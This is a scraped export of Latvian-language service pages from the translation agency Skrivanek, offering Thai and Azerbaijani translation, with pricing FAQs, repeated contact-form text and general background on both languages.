urdu–hindi; hindi–urdu; urdu–holandiešu; holandiešu–urdu; urdu–korejiešu; korejiešu–urdu; urdu–kurdu; kurdu–urdu; urdu–ķīniešu; ķīniešu–urdu; urdu–portugāļu; portugāļu–urdu; urdu–rumāņu; rumāņu–urdu; urdu–slovāku; slovāku–urdu; urdu–slovēņu; slovēņu–urdu; urdu–turku; turku–urdu; urdu–ungāru; ungāru–urdu u. c. --- > Dažādu dokumentu, tekstu tulkošana taju valodā ar vai bez notāra apliecinājumu. Tulka pakalpojumi pasākumos, tikšanās. - Published: 2023-05-22 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-taju-valoda/ - Translation Priorities: Optional TULKOJUMI TAJU VALODĀ / TULKOT TAJU VALODĀ Tulkošanas birojs Skrivanek strādā ar dokumentu rakstiskajiem tulkojumiem, dažādas sarežģītības tehniskajiem tulkojumiem, kā arī nodrošina notariāli apliecinātus tulkojumus. Mēs piedāvājam arī tekstu korektūru, stilistisko uzlabošanu un SEO satura veidošanu. Tāpat mūsu valodas speciālisti priecāsies pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam mājaslapu, e-komercijas satura un reklāmas saukļu adaptāciju, sadarbības līgumu un dokumentācijas tulkošanu taju valodā. Fiziskām personām aktuālāki personu apliecinošo dokumentu, laulību un dzimšanas apliecību, izglītības un medicīnisko dokumentu u. c. tulkojumi. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TAJU VALODĀ: dažādu dokumentu tulkošana taju valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; taju valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi taju valodā; individuālie taju valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus taju valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI TAJU VALODĀ / TULKOT TAJU VALODĀ Tulkošanas birojs Skrivanek strādā ar dokumentu rakstiskajiem tulkojumiem, dažādas sarežģītības tehniskajiem tulkojumiem, kā arī nodrošina notariāli apliecinātus tulkojumus. Mēs piedāvājam arī tekstu korektūru, stilistisko uzlabošanu un SEO satura veidošanu. Tāpat mūsu valodas speciālisti priecāsies pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam mājaslapu, e-komercijas satura un reklāmas saukļu adaptāciju, sadarbības līgumu un dokumentācijas tulkošanu taju valodā. Fiziskām personām aktuālāki personu apliecinošo dokumentu, laulību un dzimšanas apliecību, izglītības un medicīnisko dokumentu u. c. tulkojumi. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TAJU VALODĀ: dažādu dokumentu tulkošana taju valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; taju valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi taju valodā; individuālie taju valodas kursi. Meklējiet valodu risinājumus taju valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt PIRMĀS 10 FRĀZES, KO APGŪT TAJU VALODĀ สวัสดีค่ะ – Sawatdi Kha! (Labdien! ) ลาก่อนค่ะ – La Kon Kha! (Uz redzēšanos! ) ขอบคุณมากค่ะ – Khopkhun Mak Kha! (Liels paldies! ) เชิญค่ะ – Choen Kha! (Lūdzu! ) สุขสันต์วันเกิดค่ะ – Suk San Wan Koet Kha! (Daudz laimes dzimšanas dienā! ) ยินดีด้วยนะคะ – Yindi Duai na Kha! (Apsveicu! ) ผมเป็นชาวลีโตเนียครับ – Phom Pen Chao Li To Nia Khrap (Esmu esmu latvietis) ผมมีความสุขครับ – Phom Mi Khwam Suk Khrap (Esmu laimīgs) เป็นความคิดที่ดีครับ – Pen Khwamkhit Thi Di Khrap (Laba doma) ช่วยผมหน่อยได้ไหมครับ – Karuna Chuai Phom Noi Dai Mai Khrap? (Vai jūs varētu man palīdzēt, lūdzu? ) CIK SAREŽĢĪTI IR APGŪT TAJU VALODU? ASV Ārlietu dienesta institūts visas pasaules valodas sarindojis pēc to grūtības pakāpes, kur taju valoda tiek pieskaitīta 3. kategorijas valodām. Tas nozīmē, ka valoda klasificēta kā grūta un tās apgūšanai profesionālam darba līmenim būtu nepieciešamas aptuveni 44 nedēļas (1100 mācību stundas). RAKSTĪBA BEZ ATSTARPĒM UN LIELAJIEM BURTIEM Valodai ir izšķiroša nozīme uzņēmējdarbībā un tā var būt efektīvs līdzeklis biznesa attīstībai globālā līmenī. Tādēļ vairāku valodu apguve un zināšana dod milzīgu potenciālu attīstīt biznesu, sadarbojoties ar ārvalstu investoriem un uzņēmējiem. Angļu valoda ir pasaulē izplatītākā saziņas valoda un šis fakts to padara par vienu no dominējošajām valodām biznesa pasaulē. Tās zināšana ļauj attīstīt uzņēmējdarbību jebkurā no pieciem pasaules kontinentiem. Tieši šī iemesla dēļ angļu valoda ir kļuvusi par vienīgo valodu visā pasaulē, kas sev ir pievērsusi vairāk nekā vienu miljardu pasaules iedzīvotāju, kas to aktīvi apgūst. Daudzās pasaules valstīs tā ir dzimtā valoda, daudzās to apgūst kā pirmo svešvalodu un pasaulē nav neviena valsts, kurā kādā no izglītības iestādēm neapgūtu angļu valodu. Pasaules vadošās organizācijas to lieto kā oficiālo un darba valodu, tajā tiek veikti un pierakstīti neskaitāmi zinātnes, tehnoloģiju un citu jomu pētījumi. Tā ir galvenā valoda programmatūru izstrādē un lietošanā, ieņem pirmo vietu kā interneta vides valoda. Daudzi starptautiski uzņēmumi ir pieņēmuši angļu valodu kā galveno darba valodu savā uzņēmumā, kaut arī uzņēmuma reģistrācijas valsts pat nav angliski runājoša valsts. Daži no spilgtākajiem piemēriem varētu būt NOKIA Somijā un AIRBUS Francijā. Angļu valodas zināšanas pavērs jebkuram uzņēmējam milzīgas iespējas savu uzņēmumu paplašināt ārpus savas valsts robežām. Tā ir milzīga perspektīva un neaptverams tirgus segments visā pasaulē. TAJU VALODA VALODU SAIMĒ Taju valoda (ภาษาไทย, phasa thai, izrunā: ), senāk saukta par siāmiešu valodu, pieder taju-kadaju valodu saimei. Tās literārā valoda galvenokārt balstās Bangkokas dialektā, bet bez Bangkokas dialekta izšķir arī ziemeļaustrumu, ziemeļu un dienvidu dialektus. Ziemeļaustrumu dialekts ir līdzīgs laosiešu valodai. KAS UN CIK DAUDZ RUNĀ TAJU VALODĀ? Taju valoda ir oficiālā valsts valoda Taizemē, kur tajā runā 53 % iedzīvotāju. Kopā taju valoda ir mātes valoda 38,9 miljoniem cilvēku visā pasaulē, tostarp Laosā (7,8 %) un Vjetnamā (1,6 %). TAJU VALODAS ALFABĒTS Tiek uzskatīts, ka taju valoda balstīta khmeru valodā, kas datēta jau 611. gadā, bet senākie zināmie uzraksti taju valodā atrodami no 13. gs. Taju valodas alfabēts izveidojies uz indiešu rakstības bāzes un tiek lietots ne tikai taju, bet arī pāli valodā un sanskritā, kā arī vairākās Taizemē lietotās minoritārās valodās. TAJU VALODAS FONĒTIKA Taju valodā ir 21 līdzskanis un 9 patskaņi, kā arī tiek izšķirti pieci toņi: vidējs, zems, krītošs, augsts un kāpjošs, pēc kuriem var atšķirt morfoloģiski identiskus vārdus. LEKSIKA TAJU VALODĀ Taju valodā, izņemot salikteņus un svešvārdus, pārsvarā ir vienzilbju vārdi. Valodā ir daudz aizguvumu no citām valodām – senākie aizguvumi ir no ķīniešu valodas, daudziem vārdiem saknes var meklēt sanskritā un khmeru valodā. No 16. gs. taju valodā ienākuši arī portugāļu cilmes vārdi, bet mūsdienās valodā arvien vairāk parādās arī angļu valodas aizguvumi. TAIZEMES VILINĀJUMS Katru gadu tūkstošiem Amerikas, Eiropas, Kanādas un Austrālijas emigrantu pārceļas uz Taizemi. Daži paliek pastāvīgi, daži uz vairākiem gadiem, daži tikai pāris mēnešus. Migrācijas iemesli ir dažādi – klimats un daba, jo īpaši skaistās pludmales, atšķirīgā kultūra un draudzīgie cilvēki, kā arī samērā lēta dzīvošana, sākot no pārtikas, beidzot ar mājvietas īri un transportu; turklāt Taizemē šobrīd ir viegli uzsākt savu biznesu, piemēram, IT sfērā. Pēc 2022. gada statistikas Taizemē dzīvo apmēram 3,6 miljoni migrantu. Pēdējos gados "pārziemošana" Taizemē kļuvusi populāra arī latviešu vidū. Ilgstoši uzturoties kādā valstī, valodas apguve vismaz pamatzināšanu līmenī būs tikai vērtīga. Taju valodas zināšanas ļaus ne tikai labāk izprast Taizemes kultūru un iepazīties ar vietējiem iedzīvotājiem, iegūstot viņu cieņu un atsaucību, bet arī palīdzēs labāk orientēties valstī, jo sevišķi pilsētvidē, kā arī pasargās no dažādām ne tik patīkamām situācijām, ko nereti piedzīvo tūristi, piemēram, ievērojami augstāka cena par pakalpojumiem un iepērkoties. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TAJU VALODĀ: dažādu dokumentu tulkošana taju valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; taju valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi taju valodā; individuālie taju valodas kursi. TAJU VALODAS KOMBINĀCIJAS: taju–latviešu; latviešu–taju; taju–lietuviešu; lietuviešu–taju; igauņu–taju; taju–igauņu; krievu–taju; taju–krievu; poļu–taju; taju–poļu; ukraiņu–taju; taju–ukraiņu; čehu–taju; taju–čehu; vācu–taju; taju–vācu; spāņu–taju; taju–spāņu; franču–taju; taju–franču; itāļu–taju; taju–itāļu; dāņu–taju; taju–dāņu; zviedru–taju; taju–zviedru; norvēģu–taju; taju–norvēģu; somu–taju; taju–somu; taju–arābu; arābu–taju; taju–armēņu, armēņu–taju; taju–baltkrievu, baltkrievu–taju; bulgāru–taju, taju–bulgāru; taju–ebreju, ebreju–taju, taju–grieķu, grieķu–taju; taju–gruzīnu; gruzīnu–taju; taju–hindi; hindi–taju; taju–holandiešu; holandiešu–taju; taju–korejiešu; korejiešu–taju; taju–kurdu; kurdu–taju; taju–ķīniešu; ķīniešu–taju; taju–portugāļu; portugāļu–taju; taju–rumāņu; rumāņu–taju; taju–slovāku; slovāku–taju; taju–slovēņu; slovēņu–taju; taju–turku; turku–taju; taju–ungāru; ungāru–taju u. c. --- > Dažādu dokumentu, tekstu, pasākumu un tikšanos tulkojumi azerbaidžāņu valodā un no tās. Saņemiet bezmaksas cenas aprēķinu 30 minūtēs! - Published: 2023-05-18 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-azerbaidzanu-valoda/ - Translation Priorities: Optional TULKOJUMI AZERBAIDŽĀŅU VALODĀ / TULKOT AZERBAIDŽĀŅU VALODĀ CIK MAKSĀ TULKOŠANA AZERBAIDŽĀŅU VALODĀ? Tulkojumu cena no un uz azerbaidžāņu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi jūsu pasūtījumam raksturīgi lielumi, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz azerbaidžāņu valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu oriģinālajā tekstā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM AZERBAIDŽĀŅU VALODĀ: dažādu dokumentu tulkošana azerbaidžāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; azerbaidžāņu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi azerbaidžāņu valodā; individuālie azerbaidžāņu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus azerbaidžāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI AZERBAIDŽĀŅU VALODĀ / TULKOT AZERBAIDŽĀŅU VALODĀ CIK MAKSĀ TULKOŠANA AZERBAIDŽĀŅU VALODĀ? Tulkojumu cena no un uz azerbaidžāņu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi jūsu pasūtījumam raksturīgi lielumi, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz azerbaidžāņu valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu oriģinālajā tekstā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM AZERBAIDŽĀŅU VALODĀ: dažādu dokumentu tulkošana azerbaidžāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; azerbaidžāņu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi azerbaidžāņu valodā; individuālie azerbaidžāņu valodas kursi. Meklējiet valodu risinājumus azerbaidžāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt AZERBAIDŽĀNA UN AZERBAIDŽĀŅU VALODA FAKTOS Azerbaidžāna nereti tiek dēvēta par Uguns zemi, jo valsts ir bagāta ar naftu un dabas gāzi. Vārds “Azerbaijan” persiešu valodā nozīmē “uguns sargātāja”. Tās galvaspilsētas Baku simbols ir uguns, kādreiz tā bija zoroastriešu galvenā uguns pielūgšanas vieta. Azerbaidžāna spēj pārsteigt ikvienu tās apmeklētāju gan ar gardo virtuvi, kalnaino dabu, klimata dažādību, lielāko ostu Kaspijas jūras krastos, vēsturisko mantojumu, gan arī viesmīlīgajiem cilvēkiem. Azerbaidžāņu valoda ir tjurku saimes valoda, tās varianti ir ziemeļazerbaidžāņu valoda, kas ir Azerbaidžānas valsts valodas pamatā, un kuru lieto Turcijā, Gruzijā, Krievijā un Ukrainā, un dienvidazerbaidžāņu valoda, kuru nedaudz lieto Azerbaidžānā, Irānā, Jordānijā, bet galvenokārt — Irānā. Azerbaidžāņu jeb azeru valoda ietilpst tjurku, oguzu grupā. Tās attīstības ceļš ir bijis ilgs. Seldžukiem iebrūkot Tuvajos Austrumos, azerbaidžāņu valoda tika ieviesta šajā reģionā. Notika tā dēvētā Azerbaidžānas teritorijas tjurkizācija, kas ilga vairākus gadsimtus, līdz radās stabila azerbaidžāņu valoda. Azerbaidžāņu valoda par neatkarīgu valodu veidojās līdz 15. gadsimtam, kad sāka uzplaukt klasiskā valoda dzejā. Azerbaidžāņu valoda ir bagāta ar dialektiem, no kuriem zināmākie ir: austrumu dialekti — Baku, Derbentas un Šemahas dialekts; rietumu dialekti — Karabahas, Gendžes un Kazahas dialekts; ziemeļu dialekts — Šeki dialekts; dienvidu dialekti — Nahčivanas, Tebrizas un Ordubadas dialekts. XIV — XV gadsimta dzejnieks Nasimi uzrakstīja pirmos azerbaidžāņu dzejas šedevrus, liekot pamatus azerbaidžāņu literārajai valodai. Azerbaidžāņu valoda ir ļoti līdzīga turku valodai. Protams, mūsdienu turki un azerbaidžāņi var saprast viens otru, taču ir jāuzmanās no “viltus draugiem” — vārdiem, kas izklausās un izskatās līdzīgi, bet to nozīmes ir atšķirīgas. Piemēram, “yaz” azerbaidžāņu valodā nozīmē “pavasaris”, bet turku — “vasara”. 19. gadsimta vidū azerbaidžāņu literatūru mācīja Baku skolās, Tbilisi un Erevānā. Kopš 1845. gada to pasniedz arī Sanktpēterburgas Valsts universitātē Krievijā. Kopš 2018. gada azerbaidžāņu valodas un literatūras programmas tiek piedāvātas arī vairākās Amerikas Savienoto Valstu universitātēs, tostarp Indiānas Universitātē un Teksasas Universitātē Ostinā. Lielākajā daļā, ja ne visos, azerbaidžāņu valodas kursos tiek mācīts ziemeļazerbaidžāņu valodas variants, kura pieraksts ir latīņu rakstībā, nevis dienvidu azerbaidžāņu valodas variants, kas tiek pierakstīts arābu rakstībā. Mūsdienu literatūra Azerbaidžānas Republikā galvenokārt balstās uz širvaniešu dialektu, savukārt Irānas Azerbaidžānas reģionā (vēsturiskajā Azerbaidžānā) tā ir balstīta uz Tabrizi dialektu. Azerbaidžāna ir šiītu musulmaņu valsts, taču tā ir arī viena no sekulārākajām valstīm pasaulē. Tajā gadsimtiem ilgi sunnītu un šiītu musulmaņi, kristieši un ebreji ir dzīvojuši mierā. Reliģija un valsts ir pilnībā nošķirtas, un reliģijai nav ietekmes uz Azerbaidžānas likumdošanu. Azerbaidžāna ir pazīstama kā Uguns zeme. No naftas pārstrādes rūpnīcām Kaspijas jūrā līdz Yanar Dag, degošajam kalnam, Azerbaidžāna ir valsts, kas ir izveidota un attīstās virs uguns. Azerbaidžānā ir puse no pasaules dubļu vulkāniem, tie atrodas centrālajos lauku apvidos, un starp to izvirdumiem gaisā ir jūtama sēra smarža. Kutabi— pildītās pankūkas — ir Azerbaidžānas nacionālais ēdiens. Tās ir pildītas ar ķirbi, dārzeņiem, gaļu vai vienkārši apkaisītas ar garšaugiem, pēc tam ceptas uz pannas. Neft Daşları ir pilsēta, kas 1949. gadā tika uzcelta uz naftas platformām. Tajā dzīvo aptuveni 1000 vietējo iedzīvotāju, ir maiznīcas, veikali, kultūras zonas un pat viesnīcas. Pilsētā Nafatalana atrodas atpūtas komplekss/sanatorija, kur terapeitiskos nolūkos izmanto naftalānu. Azerbaidžānas Paklāju muzejs tika atvērts 2014. gadā Baku jūras krastā. Ēka ir veidota kā milzīgs sarullēts paklājs. Tajā var aplūkot paklājus no visas valsts, dažādas paklāju aušanas tehnikas no dažādiem laika periodiem — šo izstādi pārspēj tikai paklāju aušanas demonstrācijas. Azerbaidžānā smaids ar zelta zobiem būs ierasta lieta, jo paši azerbaidžāņi zelta zobus uzskata par lielisku naudas ieguldījuma veidu. AZERBAIDŽĀŅU VALODAS ALFABĒTS Azerbaidžāņu alfabēts mūsdienās ir latīņu alfabēta modifikācija un tiek lietots azerbaidžāņu valodas rakstībā. Neoficiāli joprojām tiek lietota arī PSRS laikā ieviestā kirilica. Līdz 1929. gadam azerbaidžāņi lietoja tikai arābu alfabētu. Laikposmā no 1929. līdz 1938. gadam tika lietots latīņu alfabēts, bet no 1938. līdz 1991. gadam — kirilica. Rakstība ar latīņu alfabētu tika atjaunota 1991. gadā. Irānā dzīvojošie azerbaidžāņi vēl joprojām izmanto nestandartizētu arābu alfabēta modifikāciju, Dagestānā, Krievijā — kirilicu. Azerbaidžāņu valodā ir ap 10 000 arābu cilmes vārdu, no kuriem daudzi vairs netiek izmantoti mūsdienu arābu valodā. Esot PSRS sastāvā, azerbaidžāņu valodā sāka parādīties arvien vairāk krievu valodas vārdu, kuri tiek izmantoti vēl šodien. Azerbaidžāņu valodā ir 40 fonēmu, kas tiek apzīmētas ar 32 burtiem — 9 patskaņiem un 23 līdzskaņiem. Papildus latīņu burtiem, kurus atpazīst visā pasaulē, dažiem patskaņiem un līdzskaņiem virs vai zem tiek lietota diakritiskā zīme. Azerbaidžāņu alfabēta un azerbaidžāņu valodas diena tiek svinēta 1. augustā. CIK SAREŽĢĪTA IR AZERBAIDŽĀŅU VALODA? Lai arī azerbaidžāņu valoda ir skaistas valsts, bagātas kultūras un stipras nācijas valoda, Latvijā un Baltijā to reti izvēlas apgūt kā svešvalodu. Azerbaidžāņu valoda sarežģītības ziņā tiek klasificēta kā 4. kategorijas valoda, tās apguvei būs nepieciešamas vismaz 44 nedēļas vai 1100 mācību stundas. Tajā ir vairākas gramatiskās iezīmes, kuras nav raksturīgas indoeiropiešu valodām, piemēram, azerbaidžāņu valodā ir seši locījumi, netiek izšķirta dzimte, vārdiem tiek uzsvērta pēdējā zilbe. Izruna būs vieglāk apgūstama nekā citās valodās, jo vārdi tiek izrunāti tieši tāpat, kā tie ir rakstīti. Ja valodas apguvējs jau runā kādā no tjurku valodām, piemēram, uzbeku vai kirgīzu, apgūt azerbaidžāņu valodu būs pavisam viegli. Savukārt, zinot azerbaidžāņu valodu, būs vieglāk saprast turku, turkmēņu un tatāru valodu. KUR UN CIK DAUDZ RUNĀ AZERBAIDŽĀŅU VALODĀ? Šobrīd pasaulē azerbaidžāņu valodā runā aptuveni 30 miljoni cilvēku. Visvairāk tajā runā Irānā, Azerbaidžānā, kā arī azerbaidžāņu diasporās: Gruzijā, Krievijā, Turcijā, Irākā, Ukrainā un Rietumeiropā. Kopumā azerbaidžāņu valodā runā vairāk nekā 16 teritorijās. Tā ir vienīgā oficiālā valsts valoda Azerbaidžānā. ANGĻU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic lieliskā angļu valodas tulku un tulkotāju komanda jau vairāk nekā 25 gadus strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan Eiropas Savienības institūciju un pasaules lielāko nevalstisko organizāciju dokumentācijas tulkojumiem, sarežģītiem medicīniskajiem un tehniskajiem tulkojumiem, gan arī notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu angļu valodā korektūru un stilistisko uzlabošanu, SEO satura, reklāmu saukļu veidošanu, ko veic mūsu dzimtās valodas runātāji Lielbritānijā, Amerikas Savienotajās Valstīs, Kanādā un Austrālijā. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz angļu valodu – mājaslapu un e-komercijas satura tulkojumus, digitālā mārketinga satura un meta tagu aprakstu adaptāciju un pielāgošanu, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, tulkojam visu instanču tiesu sēdēs, augsta līmeņa starpvalstu konferencēs un citos pasākumos, tiešsaistē Zoom un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. AZERBAIDŽĀŅU VALODA BIZNESĀ Azerbaidžānas iedzīvotāji noteikti novērtēs vēlmi apgūt viņu valodu. Nav svarīgs iemesls — vai tas būs uzņēmējdarbības sakarā vai tikai tūrisma nolūkos — jūs saņemsiet atbalstu, palīdzību un smaidus, jo interese un zināšanas liecina par cieņu pret kultūru un cilvēkiem. Azerbaidžāņu valoda paver durvis ceļotājiem ne tikai uz Azerbaidžānu, bet arī uz Irānas ziemeļrietumiem, kur tā ir otrā visbiežāk runātā valoda. Tajā runā arī Gruzijā, Krievijā un Turcijā. Azerbaidžāņu valodas zināšanas ir priekšrocība starptautiskajā biznesā un politikā. ASV Valsts departamenta Izglītības un kultūras lietu birojs uzskata, ka azerbaidžāņu valoda ir viena no vissvarīgākajām valodām, ko mācīties. Tas ir saistīts ar lielo tjurku valodu skaitu, kurās runā Eirāzijā. Šīs valodas zināšanas paver durvis uz potenciālo biznesa partneru sirdīm, investīcijām un sadarbību. Biznesa komunikācijai ar sadarbības partneriem no citām valstīm bieži tiek izmantota arī krievu valoda. Galvaspilsētā Baku tiek izmantota arī angļu valoda. Sākotnējai rakstveida saziņai ar Azerbaidžānas uzņēmumiem vienmēr jābūt azerbaidžāņu valodā, un arī jūsu sadarbībai paredzētajiem materiāliem un vizītkartēm ir jābūt tulkotām. AZERBAIDŽĀŅU VALODAS DIENA 1. 